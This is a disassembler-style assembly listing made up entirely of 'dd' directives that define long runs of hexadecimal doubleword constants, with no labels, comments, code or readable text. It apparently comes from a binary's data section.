dd 738241A4h, 0EBB800A7h, 4590006Ah, 6F951905h, 0C30A01BAh
dd 0B303F0E9h, 2A12C190h, 0D9870229h, 64D4D81Fh, 78EE5403h
dd 2FBCEC6Ch, 973E700h, 84E961DCh, 50E7DE4Ah, 3BCB934Eh
dd 6B8AF10h, 0B76EE44Fh, 0C7BF6460h, 12B523D3h, 0F8F80986h
dd 0C1083AC2h, 5214443Fh, 22B90058h, 0B4433249h, 8EF10B18h
dd 21A58555h, 1FF818A4h, 39269D51h, 1CEEE025h, 0C8E170E1h
dd 0BE8C809Dh, 7ACF369Ah, 3BF1270Bh, 6816EAECh, 95A307E2h
dd 0CF43C802h, 547D5D60h, 0AEFA66Ah, 5381D738h, 2BB647D9h
dd 68CA2CFAh, 0F4732125h, 7B566010h, 58583AEAh, 0B8F8F546h
dd 0AFC0B01h, 3E8AADE9h, 0CDAFFE2h, 0D0119560h, 0C1C21494h
dd 2440AC7Bh, 0CC6E5F6Ch, 494D091Fh, 34208403h, 0E0DD5909h
dd 0BDF2F0D7h, 2F3DCAFBh, 45B1C1A0h, 2027747Ch, 60B34B60h
dd 685A83C9h, 5A49689Dh, 0FF71241Bh, 90558A2Ch, 3209E43Dh
dd 1748411Ch, 0F5A726DBh, 3618CA23h, 7705122Dh, 81FF20Ah
dd 0D227F32Ch, 359230DFh, 3D18EF45h, 78128A27h, 4568133Bh
dd 83920162h, 0F06C653Ah, 31186DE1h, 0C78A7B91h, 9035FE36h
dd 0EF5C978Eh, 5904E90Bh, 9674B1D7h, 7F5F0221h, 4F1F820h
dd 565BE55Eh, 20626616h, 62DE4AE1h, 0C22CDC3Ch, 1A458438h
dd 0FD7BFD3Dh, 2F2D25F9h, 0CCB5CAECh, 0B84EE5F1h, 2BB721AAh
dd 84B23F59h, 0DDD6D389h, 0EB725425h, 5786A075h, 13816850h
dd 0A90AA74Ah, 4EB186D4h, 61BF093Ch, 31038954h, 5EE908E7h
dd 83FD549Fh, 51FF50FEh, 0E4511E05h, 2DF8F029h, 150A0ED6h
dd 0F680CC26h, 837F9D09h, 0A5A89F31h, 2E9C2453h, 0B0D29779h
dd 0FCEB058Eh, 61FF2015h, 0E90701CDh, 0C02F942Eh, 0FA0C0489h
dd 0E0FA9504h, 0A873E6C0h, 5113E8ECh, 441F69B5h, 8951FBEDh
dd 9977B3ECh, 617E914Ch, 4CA509D8h, 0F93901C7h, 59B1E588h
dd 0C8C1E20Bh, 4B310C21h, 7E1BB0C8h, 0FD25519Ch, 8449AAE5h
dd 0F94483D6h, 8078C55Fh, 0CA22EB2Bh, 0AA0F5Eh, 506C347h
dd 4AB7592Eh, 0A00808CBh, 9FEC8944h, 953CBB5Fh, 1583B5DAh
dd 0ABBA9D2Ch, 0D72FA17Ch, 0F4973494h, 0D5A9CF45h, 0BADFD4A9h
dd 0F0C309ADh, 7CE0BDB2h, 7C4EBD34h, 0A8704ED2h, 0F2695BBh
dd 503A908h, 0AE77C068h, 0C550DF8Ah, 0DE332554h, 0D8257DD4h
dd 755995B8h, 25AD1963h, 93DCC2EFh, 3494FFA7h, 70497697h
dd 5E59C4E9h, 92D6E98h, 8BAF752Dh, 61E7CEE6h, 56A3C607h
dd 616F3F64h, 7C4B5EAFh, 18D1E6F0h, 241A3422h, 0DB480615h
dd 0CCB910FAh, 408C892Eh, 5666354Dh, 0A4C34C1h, 11702A48h
dd 0E5087640h, 70B2238h, 9892742Fh, 7B04080Bh, 0D9F7050Eh
dd 5AB7D180h, 0AE2BEB64h, 76ED200h, 0EEE91874h, 4B84B15Ch
dd 2EB5618h, 0FA685180h, 4EB32407h, 0B9280C63h, 3D0BF7EBh
dd 0B436Eh, 0C00C0FFCh, 8818C75Eh, 0AE2FD55Fh, 0F44A9D82h
dd 19F30838h, 13C27C2Fh, 1289A603h, 0D1E80E4Fh, 4EB8099Eh
dd 0DFA831FDh, 4ED01674h, 6552AFEBh, 0F8647DE8h, 558000Fh
dd 75454CD9h, 76F8E757h, 35400160h, 5F502B5Dh, 90412F29h
dd 66B34661h, 6E9E53Ah, 0E50E1C08h, 49036807h, 6846D61Ah
dd 39BB00AAh, 7DBF2531h, 5BBA541Dh, 0D11C80EEh, 0D69F68C9h
dd 78026F7Eh, 1341FC43h, 0E8A66553h, 1C95231Dh, 0F5D6EDBDh
dd 65695DD9h, 0A5027B1h, 0EC506C40h, 0CEDB544Ch, 994A09F5h
dd 2E5DEDDAh, 12C6E881h, 7B3B045Fh, 7A21AB1Ch, 0D86D0A68h
dd 0EFEC7412h, 0AE4A4BE2h, 608316C8h, 3BC661D8h, 0A81319AFh
dd 1791F529h, 0B90065EAh, 0F42C234Fh, 0F51D783Eh, 0D247948Eh
dd 8818E4F8h, 0B001C673h, 96F5F12h, 0BA3350B0h, 4AD5BEFh
dd 0ABDB7E45h, 620013B7h, 0E9770112h, 5E957D97h, 3BACBE30h
dd 0D4346FBEh, 0C730B602h, 0CC7D017Fh, 0D13FFD1Ah, 5AF35FEh
dd 70CD8CAEh, 0B0591540h, 0C2FA4F47h, 6AD75BEFh, 7250D172h
dd 184E9172h, 3868E028h, 0BF4E16E3h, 0C0271BD9h, 0B774A915h
dd 4870F602h, 44753638h, 0B3EE0B47h, 605559F2h, 28BE5653h
dd 68D7347Fh, 88B1229h, 0F63F9FF1h, 678DD92Fh, 2785207Ah
dd 2326985h, 2A8A6C55h, 0F05942F2h, 4F65E227h, 0FD6C9C06h
dd 37CFE82h, 39880D73h, 821C0C38h, 3AE97AEAh, 87D549F4h
dd 275475EEh, 0CC3D68C3h, 10378EEFh, 0FF4BC34Ah, 0E1D97E71h
dd 0CE74913Fh, 83CD6F59h, 6078C8FDh, 7C77213Bh, 0A584A591h
dd 20589DDh, 0FD08C6B7h, 0F92164C0h, 640DEBAh, 394F04B3h
dd 0C2CF012Eh, 4F4B5A1h
dd 33AC742h, 1CF1C331h, 0EED83B6Ah, 0BA6C5314h, 417B7150h
dd 0EC564016h, 524EA529h, 0E0EBC1EFh, 2B4D254Ah, 4D7A6EACh
dd 5F3B7AFBh, 8E8F597Bh, 2C53AE15h, 0B505D848h, 0E94E935Fh
dd 5FB93E4h, 800F7018h, 9749C222h, 0E936A10Fh, 0B043DB8Ah
dd 5EB1685Dh, 457F624Fh, 45FD16CAh, 6B7789BDh, 589245D9h
dd 0C898F4FEh, 23B0FEFAh, 2F06B53Ch, 0F7C6CAC1h, 6E68E248h
dd 0F84B56h, 32A73EB4h, 2E334405h, 0A0E760CBh, 0BAE91A07h
dd 15403209h, 6752B468h, 25F03C20h, 9AEFE0EDh, 9A435933h
dd 0A3194B00h, 0E9585562h, 56D7A22Fh, 291260C6h, 0B9000464h
dd 686C3B15h, 4AE9D131h, 164B852Ch, 0F387FBB9h, 0DCB3D0B4h
dd 26BBAD40h, 919DF30h, 65204888h, 6BB519B9h, 4EEA5B4Ah
dd 2AE5EFC2h, 0C2B509CBh, 0FE8AEC56h, 0A0BBE77Bh, 4B07F43Dh
dd 809FE36Bh, 12B4CCB6h, 4BC42D80h, 2A3065F6h, 2F68CFFEh
dd 68E670A6h, 0EC80AA07h, 0E932308Bh, 0DFAB6A93h, 0AA20F596h
dd 0D25A612Eh, 609D2774h, 2577F2EFh, 0D5151425h, 1D50912h
dd 344564C2h, 95E33361h, 12E90802h, 81EE563Eh, 8870ABE1h
dd 0F84B7137h, 0D3B77863h, 1342A439h, 5EFEAC33h, 0AEF1C9B9h
dd 685501F2h, 7BBF08F4h, 0C1EE2938h, 873F16A8h, 65DF6B95h
dd 68DF251Ch, 67385E58h, 5241EE46h, 46D53381h, 27E9189Ah
dd 0DF045435h, 5B75A5E4h, 0D9016E77h, 0E991B652h, 927ACA7Ch
dd 9F77567Eh, 84661345h, 4B82FC63h, 5E249ABBh, 0A4685100h
dd 4E6C704Eh, 0AD93AF5Ah, 3BC00C5Eh, 0EAC48943h, 73340A5Ch
dd 0EFC9E91Ah, 0DBC9779Eh, 0BDA27413h, 3643690Fh, 7E714E62h
dd 0C29ACDBDh, 57FEFDEBh, 0CD717722h, 26233B77h, 40602C16h
dd 43206E97h, 7424EF83h, 862FB3BFh, 2EF70C10h, 3D0C9BFh
dd 501C683Ch, 5A9B2117h, 0BD8EDBCCh, 83EC1709h, 5751869Ch
dd 4142AA30h, 40912E23h, 0B32B1AA4h, 0E7681D27h, 8FBB4BB8h
dd 885009F8h, 32275D0h, 0E91805A8h, 44809F7Ah, 0D6F6C688h
dd 5A7EF0E8h, 0BBB23702h, 71DCBEE9h, 9D712403h, 0E14667DAh
dd 5C4D9A0Bh, 17027716h, 797F8B3Eh, 1284C9D1h, 0A5680241h
dd 5653A503h, 7C33C282h, 3B85085Eh, 77B95109h, 3A2961C1h
dd 59A10FBCh, 0FFD43A2Dh, 7CAF78C0h, 6A054C90h, 0EFBB4432h
dd 0AD9071FDh, 79D94A90h, 16DE0782h, 3AE8AEE4h, 0D4138338h
dd 21470451h, 0EB8907A1h, 0A92DF27h, 55205D47h, 7C73235Eh
dd 552F8997h, 0AFD94C3Bh, 5E3C20FCh, 7C00924h, 0EFF7A712h
dd 0EF3DC55Ah, 0F6E9FB42h, 8D5A5FC5h, 15629EF0h, 0DD05D811h
dd 0F42AEF7Ah, 66F8DEF6h, 0C3865B17h, 28E020FEh, 85A12CC8h
dd 0DF846E77h, 2848ABFh, 8868E1F7h, 58C76671h, 53107550h
dd 0DFF84FFCh, 22E0D3B1h, 0D9FCD334h, 0EA7FD400h, 45C2E931h
dd 2DE4C39Ch, 0E984B0AFh, 8575702Ah, 0F016C14Bh, 19185FBCh
dd 0E0C378B9h, 26E27518h, 27318F0Ch, 0A81EA8h, 120C3408h
dd 0B2EEBC14h, 41CE6A32h, 0B22A3736h, 8501D370h, 1C83120Ah
dd 7873C6D8h, 0F901710Bh, 0B714EF20h, 0A66F2C71h, 3B5A9931h
dd 0C4A55542h, 0CC598105h, 6A416325h, 794AE201h, 0C5E08103h
dd 6D60232Fh, 0FBC9C0F0h, 905D9548h, 0BF981637h, 1C4CEF2Fh
dd 0A49FB1C1h, 0A7BF346Fh, 1604D23Fh, 0DAEC1660h, 0D528C2A4h
dd 2D016C50h, 1DCE05AFh, 82D6F829h, 6865E907h, 1614BD79h
dd 0E04E0370h, 8BB7B29Fh, 8CC55FACh, 2D3EE208h, 92BC9F5Ch
dd 48D91F38h, 5D5B6242h, 1A2F2A7Ah, 2D806607h, 1F79BCBFh
dd 370F439Ch, 4B5CA62Bh, 0F961BF1Ah, 60E46B21h, 0D96916A9h
dd 40E0076Ch, 0D2DD2908h, 88A50B5Ch, 2300A6BCh, 49910A61h
dd 74CC176h, 52860416h, 73F00C98h, 5AB3035h, 0FE7E490Ch
dd 0F2213805h, 33B095E9h, 706A0BBAh, 0E50028E2h, 203649A8h
dd 1FD12926h, 0E9120820h, 0B752B4B5h, 3E50B5EEh, 0EA39D329h
dd 0EBED8D3h, 0EAF82B4Bh, 0B6B7B4C0h, 0E64E28D7h, 0C95F16A7h
dd 41D48B7Eh, 89960F40h, 0A7E6F9F2h, 0CA7E80F7h, 77FA5406h
dd 0C7E91628h, 0D0C8AA45h, 0F7DD4C31h, 0EBD1C4D2h, 0BAC4BDCAh
dd 519DAA10h, 1622FDEDh, 0D5FEB27h, 0AA2A0C7Ch, 0CC836B17h
dd 0D4F9A588h, 8F1B0A13h, 7F681741h, 638744BAh, 60A01320h
dd 5DB2383Dh, 0F65BDA0Eh, 0F3CA8063h, 0C07FF298h, 5707E227h
dd 0FF12B245h, 143B370Ch, 0F65E9846h, 0E2C006Ch, 933ED81h
dd 0E92408F5h, 5F87C12Dh, 0F539FB01h, 16317C16h, 6B79B4Fh
dd 70F70101h, 5E22881h, 7EDE7165h, 685FBAECh, 6C1EE989h
dd 7C2FFEFAh, 0F5E9D1C9h, 0D18B6B7Fh, 97022550h, 6892A1DFh
dd 0ED330FB0h, 8E89553Ch, 0D0835E76h, 271CE8F5h, 5727399Dh
dd 1C546A9Eh, 0C9F730BCh, 0F60887E8h, 508086D8h, 7704B2B0h
dd 34FFB0BAh, 0AA2C2FC6h, 68BB5E84h, 0CB404C26h, 0E590B05h
dd 0D9042827h, 908CABF2h, 0A4EDF5A5h, 910C6EAh, 483D290h
dd 977199DDh, 0C9CB25F7h, 0CC7D2C9Ah, 5EF2270Fh, 570E327Fh
dd 655DCA09h, 487549FAh, 0A3F8C648h, 0AD5E04D1h, 0BA2FDF34h
dd 7A89C100h, 60ABE930h, 0EBEEF323h, 5848F263h, 9EC90430h
dd 32C0315Fh, 1652536Dh, 41EE2910h, 6C2ED89Dh, 3CD06A4Dh
dd 1D2541E7h, 0A4C147CBh, 226B090Eh, 0EFE740D6h, 0B94017CFh
dd 0C25556BEh, 0E6C1185Dh, 6608005h, 0E966A204h, 3F8BBE25h
dd 4B4FC34Bh, 0CA888E1Ch, 0A25AD78Eh, 75595BF8h, 0F86624E1h
dd 3025C7B2h, 0E97348D1h, 0C8155F2Fh, 0E8A83635h, 7E9D505Fh
dd 0E91256A2h, 0ADF228BCh, 953EF640h, 5C45E830h, 0F6D8F283h
dd 0CC800E01h, 1C4C9BCh, 0C14CAED7h, 6719E96Ah, 162F6A64h
dd 0F17AE25Eh, 0BE1E050h, 0E13C322Dh, 0AA3A18F9h, 0A860AC45h
dd 2FE15090h, 0D05F5A02h, 1470725h, 0F3077076h, 16E755B8h
dd 0E985CBC3h, 0C835FEEh, 71DB38AAh, 0EBEFEA00h, 9CE98D6Dh
dd 9D9DB23Ch, 5C2D047Eh, 60817F2h, 7E2C8F04h, 8BE95F49h
dd 0BFAF7898h, 0BFA25045h, 0D3762970h, 0CCAB5A4Fh, 0C297D7F3h
dd 0E6655792h, 0F3C0183Fh, 33805A57h, 0AE0644CFh, 888CC7B0h
dd 87C2FD4Fh, 58DD09A7h, 0B8034A59h, 257375FCh, 1331F348h
dd 2DFEB4D0h, 32A564E9h, 0B621301h, 0E903E5C1h, 0B26BC3DDh
dd 4F94D045h, 0E75244EAh, 0C7A2FE46h, 0B8FE24Ah, 51FEF715h
dd 86A73C21h, 0E62DD3E0h, 8A56EF16h, 0FE9C4B81h, 0F5012A89h
dd 5DEE6B80h, 761E582Dh, 0F0C23480h, 0FC22E953h, 967727BCh
dd 84934D93h, 80DF5A2Fh, 9BBCF3F8h, 53FA01D6h, 0A978B1BBh
dd 0DEC67132h, 0AEEE8000h, 51CE3FFEh, 0A7022AFh, 23EDC997h
dd 965A069Eh, 0B70F80A7h, 0E748C0E0h, 0FFEF1756h, 0C42650FEh
dd 0C60FB83Dh, 587B2891h, 0BE845BAAh, 0D6A0EA90h, 107B8BF3h
dd 0BEFFE5A3h, 0A7EF61Fh, 29CECB5Fh, 0BC5F3C27h, 13C4F54h
dd 0C617F1F7h, 6E9D87Ch, 65AF334Ah, 0B7F2AF18h, 10D5E90Ch
dd 0E65BD10Ch, 48FEDF41h, 32FC8A51h, 8D68B730h, 3EA92A54h
dd 6E5E452h, 0F82ECA25h, 0F91B0946h, 2775D135h, 3DE1E965h
dd 506E07D5h, 0FA4C08DBh, 5F513E2Fh, 0DA875B0Bh, 49687652h
dd 0F510A51Dh, 4EED404Bh, 15595640h, 450DB868h, 0BCDA277Eh
dd 781BCB19h, 0CF88C708h, 2BC2FA24h, 0AF45570Fh, 0F8106FACh
dd 5AF0300Ah, 0FE7000C6h, 96C180C9h, 12CAD89Dh, 0B0301D2Ch
dd 8FA1F6CBh, 68003590h, 3FA4B02h, 0DB055DCAh, 0F51125A1h
dd 83C20C8h, 0E004542Dh
dd 147DBEA6h, 0D74362F7h, 1D41FB04h, 790FE76h, 393915C7h
dd 0CBE92Eh, 5A7B8BAh, 487B4E65h, 4619526h, 50515380h
dd 7D886AB4h, 126F38E1h, 0C28EBC70h, 0E55718EBh, 6678275Dh
dd 54DBCE25h, 0B895ABBh, 0CCBF1858h, 6AAC2F56h, 742FB0CDh
dd 0EB7F1E36h, 30DA09C6h, 0F708EC73h, 16F7E9FEh, 0A6C7D673h
dd 765A2D12h, 7505E0BCh, 0E09F0F21h, 3B90362Fh, 0E917D133h
dd 2942821Eh, 0DF4C32FDh, 79FF9D4Ah, 0A4CB0A3h, 4F400F1Eh
dd 4E61169Ah, 0FEE60527h, 0F8C1135Ah, 405B79D0h, 43F3CE30h
dd 316E141Ch, 0C34F53D1h, 3E0153D8h, 9E8444Bh, 0C52F14E9h
dd 93A2BF40h, 0F2E951B0h, 6805CE92h, 16205431h, 2AB1C1BCh
dd 0E41A7C74h, 2704F08Eh, 0CB6D0305h, 68530127h, 38B217D9h
dd 6250B78h, 7843AEDCh, 0E9C8D8F1h, 363F6E85h, 0B317AFF2h
dd 0F9BA21D4h, 4AE9E045h, 88F1BD40h, 795AD342h, 4A688564h
dd 565A4078h, 202FB850h, 736B0A2Bh, 9F09B0A8h, 0DD50D732h
dd 7E6278CAh, 2A08C000h, 0E5B818A6h, 7C9DA949h, 0B8165073h
dd 550B30C8h, 0F58C89C5h, 0C7D12F02h, 2EEF60Bh, 1DB155D4h
dd 2FA93DC1h, 24804B5Dh, 2960940Ch, 0DF5997CFh, 0A17C615Ah
dd 3D5AE528h, 0F8C941C4h, 49BF05CAh, 0E575EF65h, 0F6219385h
dd 0E9C10B74h, 4B14710Ah, 507E00FDh, 5FE90EC5h, 6E47E1CCh
dd 4FFE14D8h, 6816CC3Ah, 2EBD965Eh, 3609B2D0h, 4C051C0Bh
dd 7B5D5CAh, 0C04C199Bh, 68CE8173h, 2B606073h, 715EEC0Ch
dd 8DE91236h, 579932E4h, 24845561h, 2D4BD0CEh, 55409EAh
dd 775E427Dh, 2E89E1D4h, 99F61048h, 53942F20h, 0AD05D089h
dd 2D0A0E05h, 72AA32CFh, 0FDC5AC7h, 96E1C692h, 21972623h
dd 3E0A7164h, 0E1818C70h, 2C08180Eh, 3282C019h, 57B4995h
dd 0A47920E0h, 5CAE8088h, 0F6813A29h, 0F1010D62h, 334DA1C0h
dd 705A5BB4h, 5E6522C7h, 723FEA03h, 0B84A6EC6h, 283D07E2h
dd 0E8ED2732h, 1061285h, 3296EB31h, 0EA875FD2h, 0C14A7A2Eh
dd 2A75A79Dh, 2F5AEF8Ch, 41F0D210h, 6179BA0Ch, 733F81Eh
dd 910B8678h, 52C42F48h, 9A6B342h, 0C660B468h, 80AF0BC6h
dd 2B6516E5h, 0D779B30Fh, 0DBF6C904h, 9AFE7881h, 0C4D2A23Fh
dd 68033156h, 15106B44h, 0BA4B3C06h, 0E74FEEC7h, 0DCD2141Dh
dd 0EF17743Eh, 0FB4826C5h, 8A51D98Bh, 117FC2Eh, 35ADB951h
dd 413E55E5h, 4D40C983h, 0E9B97029h, 3B7D340Fh, 7E061387h
dd 176A08B3h, 613FE468h, 0B31D6442h, 3E47BE5Fh, 3AAD0B91h
dd 8FE16FC3h, 2C46CF1h, 4B924EC7h, 7178DF96h, 0DC13F525h
dd 9CC05A80h, 762E4514h, 0E994A46Dh, 70D84A08h, 31AF4070h
dd 0B322829Fh, 9A18572Ch, 0B027106Fh, 48BD025h, 0AD4DE635h
dd 23C4AAA0h, 448A8B01h, 2E738B4h, 10F18194h, 8B818C26h
dd 0FC74BFE1h, 0F77DE949h, 7FD983A8h, 0D480A086h, 503B025Dh
dd 9E49E94Eh, 99BD3F53h, 80169CEEh, 0AE5C0CB8h, 7E0C00Ch
dd 24090306h, 0C1F65035h, 22EE74Dh, 0C3315C36h, 41B55972h
dd 53740F20h, 80A7FD56h, 0F7044766h, 65CC68D1h, 5BDDDAEBh
dd 978FECBCh, 713DEBB6h, 3C2E982Eh, 7266E540h, 61E5A04Fh
dd 130BC441h, 76C302D9h, 0FB29C111h, 6BEB1090h, 0EBB4776Fh
dd 29087520h, 0E8834B0h, 5FEE05E8h, 8058C703h, 0F8303A98h
dd 4AF3E92Dh, 94F0DFFEh, 462D5A7Bh, 0AF3BD577h, 7CAF665Ah
dd 455EE999h, 0A18EDA2h, 19EA4B7Eh, 0B5E71016h, 49CE1EEBh
dd 604A5F5h, 0FC08C41Eh, 9DE64FECh, 0F17F5289h, 0AA584589h
dd 0A3FB17C4h, 8202D369h, 0FD64C968h, 7EAD43E7h, 4E0CB009h
dd 7EED237Ah, 80149F5h, 3235DEE9h, 0CB91AC2Eh, 5BB6D0F5h
dd 4546E0BFh, 4652FEE6h, 335C0236h, 8B217C4Eh, 8155F6BFh
dd 0BDDF7749h, 90B02F31h, 0A80CB6EFh, 68F54057h, 9410D501h
dd 0F7415955h, 1D33DC24h, 66A7F095h, 70F12FC6h, 5BC251C5h
dd 0B571552Ch, 3541EC20h, 926C5D6Ah, 48B38C6Fh, 5C300564h
dd 542DFFA3h, 7E80CBCCh, 3688822Eh, 38E12E11h, 514C02C9h
dd 0F25545C7h, 63F988Bh, 686297F2h, 56750C16h, 0E92A7CF2h
dd 0FBFAAB5Ch, 4BB7673Ch, 3664DB8Ah, 406BD951h, 436ACBEFh
dd 0FAE38102h, 5726AE47h, 2B1D8DA3h, 0E88E69EAh, 0C0B927C5h
dd 187CC2C3h, 0C2F2630h, 0E50E783Eh, 4174AC7Bh, 0C79B0008h
dd 734E3B56h, 7C80D0AAh, 0F34FCF51h, 4A5B3581h, 0C4F85230h
dd 0FB66E9B3h, 4B8266A4h, 0A121B886h, 0B58F320h, 0ABE2F956h
dd 4C9E75C9h, 564A11B5h, 5AFF5630h, 530B33B5h, 60FB55D1h
dd 29005D08h, 685058C5h, 5BC32F66h, 851CEA49h, 0ED81FDC5h
dd 0C3D60C1Ah, 5F20B19Dh, 53329B66h, 32E9D068h, 78F63B51h
dd 0DE6EE983h, 0FCEFD705h, 54C5CB74h, 0A1F86817h, 3517E9F1h
dd 0B3252E39h, 0A8F46FA1h, 907F9732h, 3B7EC9AAh, 637E3438h
dd 0A8B6372Dh, 893A35FFh, 97E43E6Bh, 28D14801h, 0EA95A720h
dd 92917F4Eh, 5D0164F4h, 79A46DB0h, 0C3C0CEE6h, 67273DC7h
dd 7CB3A17Ah, 13A6886Fh, 0D3C76D44h, 5BC0AEEAh, 5D866852h
dd 8D81C61Ch, 0E20D6B17h, 0E2571542h, 5928CA2Eh, 1C556B4Bh
dd 0F7660F43h, 7729E9F9h, 0AA9985Fh, 1EBCA84Eh, 46C99729h
dd 0C092A4Ah, 39FD7B87h, 5CA4E92h, 0A325B2D4h, 2AF741ABh
dd 0C8237A5h, 6C8A6FF4h, 4EA11040h, 3454620h, 1589418Bh
dd 1C41CD01h, 141CA008h, 18E95116h, 0BE2EEAE1h, 0D0BDD765h
dd 3118E882h, 0D06B7FE0h, 2D1F7082h, 15D9210Dh, 1767DC4Bh
dd 41CF0022h, 29CE90Ah, 88A07F82h, 0D12A90C6h, 0C5E1434Fh
dd 2666D3ECh, 2433C39h, 4F4B1B25h, 0BDE90301h, 51630B2Ah
dd 3CE72100h, 82E348AEh, 7855DB2Ch, 0BDCCFF72h, 0CA810602h
dd 68AD3F9Fh, 0F065D720h, 189823h, 6C4B354Dh, 0AA52B905h
dd 43101F4Bh, 585A2D07h, 0AC07B813h, 28CFA0E6h, 10122C22h
dd 0F7A0991h, 0B7C1636Ah, 0F4F37EC6h, 629F8E22h, 0D59DFFDh
dd 8BFB5864h, 890E12DCh, 0A27E41C9h, 0F418C454h, 0DA651CD7h
dd 0DF682592h, 715B1A6Bh, 590928AEh, 45166BD3h, 674AF2ECh
dd 84EBC283h, 1C40D9ECh, 982FEF4Fh, 550E3535h, 0A23FF827h
dd 60DE74E1h, 13C4EAE9h, 0AA07947Bh, 80455B1h, 0C8E07684h
dd 3A150ABBh, 2895FBFh, 3F54036Dh, 0E90B015Ch, 927CF412h
dd 536F8DDEh, 0A8C4E992h, 7EC74D49h, 31FFEF0Eh, 8F84DC7h
dd 97E5E8E5h, 2E40F20h, 0E91AF42Ch, 5E567579h, 99027DA7h
dd 6340565Fh, 0F9BD800Eh, 0D6290FDCh, 144D3B46h, 9DFAD8B5h
dd 0E912B0FDh, 51C260E8h, 2F757F5h, 5B60EE58h, 0E95003BFh
dd 57122AA3h, 2A85BDFh, 2EC0A410h, 0F6CB965Fh, 22CA8CB4h
dd 95EEDDFBh, 6270F1ABh, 4E576D16h, 25191Eh, 3FFDBDF2h
dd 4D423D36h, 26197092h, 0D8974E36h, 0D351717h, 4B99A834h
dd 0D8044BB8h, 0EE03EF56h, 0B49690ADh, 741851C0h, 0D70C1D4Fh
dd 0F30824FAh, 7E20023Dh, 0D17F2156h, 62A54052h, 0E9250123h
dd 99544F8h, 53BA5C94h, 249FF700h, 6ABD3307h, 1C080D03h
dd 47241404h, 90241DAh, 1203E9C2h, 0DCDFF169h, 48806E60h
dd 7A73002Dh, 0E0D134DCh, 0D0ECC605h, 4BA39A59h, 0F6C3C791h
dd 505CAC40h, 8F680455h, 0BB788736h, 5E818FC0h, 21A98ECh
dd 0B73773F2h, 25C12974h, 2D167E08h, 794CDDBBh, 0EF0EC441h
dd 4B60FECDh, 6B300015h, 0E5814D6Eh, 965A3621h, 46780180h
dd 576A59E3h, 4BBB5710h
dd 1FE31FEh, 7677ADDFh, 3D0927C7h, 0E3BD60FFh, 0FE7B121Ah
dd 1F02EF7Ch, 0D2367530h, 7AC302DBh, 2DFD584Fh, 94DDC55h
dd 7A58A7E9h, 9026A89Dh, 0EB935A1Dh, 52C42CBEh, 0F5FEDEFAh
dd 0E34F5AB0h, 0ADBAAB84h, 96848460h, 0FE15ACDh, 0EA694925h
dd 48CEA792h, 25ED209Bh, 0F41A8368h, 7AE90255h, 0F260751Eh
dd 0CB2DFC66h, 0F8A50C2h, 5B0BBC35h, 0A81AFFD3h, 0E94AFD2Eh
dd 5F09B670h, 4621CB68h, 0EFEE0CE7h, 6835C74Fh, 7B760F26h
dd 4434D789h, 67E380C7h, 0EFA49686h, 9475FE64h, 0BA5784D2h
dd 9353F3CFh, 0F95BA882h, 8E6C740h, 8CCE813Dh, 0DE134119h
dd 4E5C0C02h, 68BC31A7h, 9B082C2Fh, 0D530C7F3h, 9F45521Bh
dd 0CA24C53h, 29EE0C5Bh, 9BF32BCFh, 56856C0h, 7613DA1Dh
dd 0B8C1B7E9h, 93F1EB0h, 44F0282Fh, 75912C31h, 22A7EE9h
dd 42B86801h, 0FD8851A3h, 7D61EA92h, 0F355C2E8h, 0ABE9E19Ah
dd 0C465352Eh, 0E388431h, 10BEFBFh, 0A05AE9EFh, 0DF8CB32Eh
dd 42D72AD6h, 0C6D16562h, 0EA3EFFBEh, 56295149h, 7B9F62BBh
dd 0B1804204h, 7CAE8661h, 0FAF127CCh, 22C290CEh, 0F5151AC0h
dd 0E481840h, 29E2B50Bh, 8CC3C5C3h, 68390D85h, 4562CF7Fh
dd 255A4A82h, 0EDF48904h, 5AFC2858h, 1F8D188h, 680EBB20h
dd 0F128628Eh, 0C68F745Eh, 9FEBBD0Bh, 5A4E064Ch, 0A9E91916h
dd 3FBEFFD2h, 0C25EBCBCh, 7F430C7Ah, 0E65CE988h, 0FC5024C9h
dd 7D0B8088h, 55802D8h, 0C58906A0h, 2B65EDA1h, 0DF502CFFh
dd 0C23FB341h, 0AF752DA6h, 0FA939CCDh, 0E92E88B1h, 0D204E435h
dd 310B5B13h, 5F4A0E5Ah, 0D31024A6h, 2B642D71h, 5F665F1h
dd 0A7B06FE9h, 432502F6h, 0C0749D0Ch, 95732E92h, 0F9F65E10h
dd 4218DEB7h, 20347E3Dh, 68EE47E2h, 750E9A0Fh, 98667D3Eh
dd 1C8DAC9Dh, 0C12A22DFh, 387E71D6h, 0D009CBCBh, 8D294FC8h
dd 52CA348Ch, 0EE285D64h, 0C57B62D7h, 0B0688444h, 0E21DD803h
dd 7A0A0707h, 2181F681h, 802A273Eh, 34208973h, 14EC695Bh
dd 994E147Bh, 0BE2091B7h, 0B520D890h, 0BB5C5E54h, 0C3459564h
dd 4AB464E9h, 450A0FEBh, 1A69500Fh, 5993ED7Eh, 0AFAB17AFh
dd 65446A75h, 0CFAFCD8Bh, 51641FD4h, 645AABA4h, 0BB9FE6Dh
dd 97B0B5Ah, 92AD284h, 9537D858h, 84D0155Eh, 435582E0h
dd 7061C2ACh, 0D55E5E4Ah, 73E7F842h, 184DC65Ch, 802011B3h
dd 30E478C3h, 0E59B1B29h, 86270A9Bh, 275DDC5Ah, 4D58397Eh
dd 0E5BE80D9h, 983E4A26h, 0EE1F7B09h, 3187620Bh, 1CFDA59Fh
dd 22490D1h, 6E314E24h, 85A027E9h, 1B5860BBh, 24AF3E5Eh
dd 0D4E3AFB7h, 0F846E984h, 35AB4E19h, 13E9ED4Ch, 88BD1AD1h
dd 0D1DF5AA2h, 0EA018AC9h, 5AC218EAh, 7D834813h, 0C60800A8h
dd 72522533h, 35005885h, 13651E5Ah, 2DF4212Dh, 8D089493h
dd 22A600EBh, 2FE9280Fh, 8A8A6E5Bh, 0EE7A247Ch, 0EF680B35h
dd 0B45A9ECBh, 8E42C7A1h, 3BED76DEh, 0BF336893h, 0F5462A46h
dd 0F9BF0138h, 3158891Ah, 0E2EF31C7h, 5D1C3302h, 405A0F5Ch
dd 0C6F39407h, 53512E77h, 0A1CB732Ah, 0CD206C9Ah, 0FE6BBD22h
dd 0F2564CA2h, 238C3D61h, 7A8D3A8Bh, 44CF5E74h, 5FC7701h
dd 70FFBEE2h, 4FE92E3Bh, 52B48089h, 5866E528h, 0E872C1B8h
dd 3F13CEC6h, 0ECF20947h, 0A2A9D4E0h, 0E97FA1D5h, 23814AE4h
dd 0E51772EAh, 300C807Bh, 1620A21h, 0BF5702C2h, 4E735B43h
dd 284A961h, 0FAAB8909h, 0C524C096h, 81795F13h, 1802EF7Eh
dd 47E91232h, 5A0D7622h, 508D8320h, 681240C2h, 3BA906FAh
